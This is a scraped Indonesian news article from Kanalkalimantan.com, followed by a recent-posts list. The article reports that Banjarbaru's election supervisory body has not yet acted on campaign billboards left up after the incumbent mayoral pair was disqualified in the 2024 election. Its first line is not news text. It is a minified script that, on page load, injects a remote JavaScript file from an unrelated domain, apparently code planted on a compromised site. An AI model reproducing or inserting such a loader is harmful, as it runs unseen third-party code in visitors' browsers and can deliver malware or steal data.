(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

APK Paslon Masih Terpasang, Bawaslu Banjarbaru Belum Ambil Tindakan


KANALKALIMANTAN.COM, BANJARBARU – Pasca pembatalan salah satu pasangan Calon Wali Kota dan Wakil Wali Kota Banjarbaru, Alat Peraga Kampanye (APK) pasangan nomor urut 2 masih terbentang di sejumlah ruas jalan.

Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru masih belum mengambil keputusan terkait keberadaan APK milik pasangan Aditya Mufti Ariffin-Said Abdullah Al Kaff tersebut.

Koordinator Divisi Hukum, Pencegahan, Parmas dan Humas Bawaslu Banjarbaru, Bahrani menjelaskan bahwa pihaknya belum memerima arahan atau petunjuk teknis mengenai APK petahana Wali Kota ini.

Baca juga: Jadwal Debat Pilgub Kalsel Dimajukan, Panelis Bertambah

“Kami masih menunggu hasil koordinasi dari KPU Banjarbaru soal APK milik pasangan petahana yang pencalonannya dibatalkan,” ujar Bahrani, Minggu (10/11/2024).

Kendati demikian, pihaknya sebelumnya ini telah menyampaikan permasalahan ini ke dalam rapat koordinasi bersama KPU dan Komisi I DPRD Kota Banjarbaru.

“Jumat kemarin kami rapat, informasinya masih menunggu petunjuk teknis dari KPU RI. Dan sampai sekarang kami (Bawaslu Banjarbaru) belum dapat perkembangan dari mereka,” jelasnya.

Baca juga: Debat Pilwali Banjarbaru: Calon Tunggal vs Kotak Kosong

Sejak dirapatkan itu pula hingga hari ini pihaknya juga belum masih belum menerima arahan.

Oleh karenanya juga masih baliho bergambar wajah Paslon Aditya-Said Abdullah yang terpasang, dengan beragam ukuran. Termasuk dua APK yang difasilitasi KPU Banjarbaru juga masih terpampang.

“Jika sudah ada arahan dari KPU, tentu kami akan menjalankannya sesuai hasil pleno KPU Banjarbaru nanti,” ungkap dia.

Baca juga: Gubernur Sahbirin Pimpin Apel Pagi, Ini Kata Sekda Kalsel Roy Rizali

Bahrani menekankan, tindakan terhadap APK Paslon Aditya-Said Abdullah pasca pembatalan ujar Bahrani akan menyesuaikan perkembangan kondisi perpolitikan di Banjarbaru.

Menurutnya selama APK tersebut tidak menggangu kondusifitas pasca pembatalan, maka tidak ada urgensi pihaknya untuk melakukan tindak.

Namun sebaliknya, tindakan akan segera dilakukan apabila keberadaan APK itu berpotensi atau memicu terjadinya konflik di masyarakat.

“Yang jelas kami saat ini lebih mengedepankan tindakan dalam menjaga kondusifitas,” jelas dia. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

54 menit ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

3 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

6 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

10 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.